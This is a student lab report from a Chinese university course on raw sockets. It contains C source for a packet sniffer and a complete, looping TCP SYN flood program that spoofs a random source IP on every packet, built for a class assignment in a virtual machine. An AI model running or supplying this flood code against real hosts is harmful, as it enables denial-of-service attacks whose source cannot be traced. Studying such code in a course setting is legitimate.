信息安全实践第十一次作业 原始套接字.docx
- 文档编号:30436865
- 上传时间:2023-08-15
- 格式:DOCX
- 页数:12
- 大小:74.67KB
信息安全实践第十一次作业 原始套接字.docx
《信息安全实践第十一次作业 原始套接字.docx》由会员分享,可在线阅读,更多相关《信息安全实践第十一次作业 原始套接字.docx(12页珍藏版)》请在冰豆网上搜索。
信息安全实践第十一次作业原始套接字
四川大学计算机学院、软件学院
实验报告
学号:
姓名:
专业:
__软件工程__班级:
第12周
课程名称
信息安全产品开发实践
实验课时
4
实验项目
原始套接字
实验时间
2013.11.29
实验目的
利用原始套接字实现一个TCPSYSflooding程序
实验环境
虚拟机RedHatEnterpriseLinux-VMwareWorkstation
实验内容(算法、程序、步骤和方法)
由于我们在这次实验中只需要对IP和TCP头部进行修改,所以使用的是网络层原始套接字。
这个实验考验的是对IP和TCP报头结构体的了解,其实在之前的实验我们就已经有所接触,在嗅探器中我们就是把接收到的数据包进行分解,分别先后解封IP头部,再解封TCP头部(越底层的数据越放在前面)。
这一部分知识可以参考在老师的demo程序packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip地址那部分需要改动一下才能正常运行。
下面把修改后的packet展示一下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
intmain(intargc,char**argv){
intsock,n;
charbuffer[2048];
structethhdr*eth;
structiphdr*iph;
structtcphdr*tcph;
if(0>(sock=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))){
perror("socket");
exit
(1);
}
intnum=1;
while
(1){
printf("=====================================\n");
//注意:
在这之前我没有调用bind函数,原因是什么呢?
n=recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("number:
%d",num++);
printf("%dbytesread\n",n);
//接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。
eth=(structethhdr*)buffer;
printf("DestMACaddr:
%02x:
%02x:
%02x:
%02x:
%02x:
%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
printf("SourceMACaddr:
%02x:
%02x:
%02x:
%02x:
%02x:
%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);
iph=(structiphdr*)(buffer+sizeof(structethhdr));
//我们只对IPV4且没有选项字段的IPv4报文感兴趣
//if(iph->version==4&&iph->ihl==5){
if(iph->version==4){
charaddr_p1[INET_ADDRSTRLEN];
charaddr_p2[INET_ADDRSTRLEN];
inet_ntop(AF_INET,&iph->saddr,addr_p1,sizeof(addr_p1));
inet_ntop(AF_INET,&iph->daddr,addr_p2,sizeof(addr_p2));
printf("Sourcehost:
%s\n",addr_p1);
printf("Desthost:
%s\n",addr_p2);
if(iph->protocol==6)//TCP
{
tcph=(structtcphdr*)(buffer+sizeof(structether_header)+sizeof(structip));
printf("Sourport:
%d\n",ntohs(tcph->source));
printf("Destport:
%d\n",ntohs(tcph->dest));
}
}
}
}
这里主要修改的地方是:
1、原代码问题:
在输出ip那部分需要利用inet_ntop函数,不然程序运行出问题。
2、加入了TCP头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。
其实只要把上面这程序和这次的synflood结合起来再做点修改就可以做出一个syn端口扫描器。
(接上)
实验内容(算法、程序、步骤和方法)
而这次的synflood程序中做的就是和嗅探器相反的工作:
先封装IP头部,再封装TCP头部。
程序的主要流程就是:
构造IP头部——>构造TCP头部——>发送数据。
这是一个循环的过程(不停发送syn攻击),里面需要注意:
1、TCP头部中syn要标记为1,其它皆为0。
2、每循环一次,伪装的源IP地址就要改一次,那IP头部的校验和就要重新计算,当底层的报头有所改变(IP头部),那上层的头部——TCP头部的校验和同样要重新计算。
有关检验部分,在运行synflood程序之前,必须先运行一个服务器程序来作为攻击目标。
关于观测端口连接情况,老师提供的是netstat-tn,如果想看得更加方便的话,可以使用netstat-tn|grep“:
888”这样来监视某个端口。
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
unsignedshortcsum(unsignedshort*,int);
structpseudo_header//neededforchecksumcalculation
{
unsignedintsource_address;
unsignedintdest_address;
unsignedcharplaceholder;
unsignedcharprotocol;
unsignedshorttcp_length;
structtcphdrtcp;
};
structin_addrdest_ip;
intmain(intargc,char*argv[])
{
//Createarawsocket
ints=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(s<0)
{
printf("Errorcreatingsocket.Errornumber:
%d.Errormessage:
%s\n",errno,strerror(errno));
exit(0);
}
else
{
printf("Socketcreated.\n");
}
//Datagramtorepresentthepacket
chardatagram[4096];
//IPheader
structiphdr*iph=(structiphdr*)datagram;
//TCPheader
structtcphdr*tcph=(structtcphdr*)(datagram+sizeof(structip));
structsockaddr_indest;
structpseudo_headerpsh;
char*target=argv[1];
if(argc<3)
{
printf("Pleasespecifyahostnameandaport\n");
exit
(1);
}
//getthetargetip
dest_ip.s_addr=inet_addr(target);
//IP_HDRINCLtotellthekernelthatheadersareincludedinthepacket
intone=1;
constint*val=&one;
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,val,sizeof(one))<0)
{
printf("ErrorsettingIP_HDRINCL.Errornumber:
%d.Errormessage:
%s\n",errno,strerror(errno));
exit(0);
}
while
(1)
{
structin_addrsour_ip;
intsource_port=8888;
sour_ip.s_addr=random();
memset(datagram,0,4096);/*zerooutthebuffer*/
//FillintheIPHeader
iph->ihl=5;
iph->version=4;
iph->tos=0;
iph->tot_len=sizeof(structip)+sizeof(structtcphdr);
iph->id=htons(54321);//Idofthispacket
iph->frag_off=htons(16384);
iph->ttl=64;
iph->protocol=IPPROTO_TCP;
iph->check=0;//Setto0beforecalculatingchecksum
iph->saddr=sour_ip.s_addr;//Spoofthesourceipaddress
iph->daddr=dest_ip.s_addr;
iph->check=csum((unsignedshort*)datagram,iph->tot_len>>1);
//TCPHeader
tcph->source=htons(source_port);
tcph->dest=htons(atoi(argv[2]));
tcph->seq=htonl(1105024978);
tcph->ack_seq=0;
tcph->doff=sizeof(structtcphdr)/4;//Sizeoftcpheader
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window=htons(14600);//maximumallowedwindowsize
tcph->check=0;//ifyousetachecksumtozero,yourkernel'sIPstackshouldfillinthecorrectchecksumduringtransmission
tcph->urg_ptr=0;
tcph->check=0;//ifyousetachecksumtozero,yourkernel'sIPstackshouldfillinthecorrectchecksumduringtransmission
psh.source_address=sour_ip.s_addr;
psh.dest_address=dest.sin_addr.s_addr;
psh.placeholder=0;
psh.protocol=IPPROTO_TCP;
psh.tcp_length=htons(sizeof(structtcphdr));
memcpy(&psh.tcp,tcph,sizeof(structtcphdr));
tcph->check=csum((unsignedshort*)&psh,sizeof(structpseudo_header));
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=dest_ip.s_addr;
//Sendthepacket
if(sendto(s,datagram,sizeof(structiphdr)+sizeof(structtcphdr),0,(structsockaddr*)&dest,sizeof(dest))<0)
{
printf("Errorsendingsynpacket.Errornumber:
%d.Errormessage:
%s\n",errno,strerror(errno));
exit(0);
}else
{
charaddr_p[INET_ADDRSTRLEN];
inet_ntop(AF_INET,&sour_ip,addr_p,sizeof(addr_p));
printf("randomIP%shavesendedthepackage.\n",addr_p);
}
}
return0;
}
/*
Checksums-IPandTCP
*/
unsignedshortcsum(unsignedshort*ptr,intnbytes)
{
registerlongsum;
unsignedshortoddbyte;
registershortanswer;
sum=0;
while(nbytes>1){
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1){
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum=(sum>>16)+(sum&0xffff);
sum=sum+(sum>>16);
answer=(short)~sum;
return(answer);
}
下面让我们看一下运行效果:
运行synflood程序,使用不同的伪装IP攻击:
然后检验结果:
数据记录
和计算
结论
(结果)
通过
小结
这次实验虽然不难,但是比较重要,如果只是单纯得制作普通的网络程序的话,一般的socket编程足以完成,但是如果想深入探究网络服务本身,想利用rfc的规则制造底层的扫描器、嗅探器、防火墙、网络攻击等等,学习网络底层的编程知识很重要。
指导老师评议
成绩评定:
指导教师签名:
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息安全实践第十一次作业 原始套接字 信息 安全 实践 第十 一次 作业 原始 套接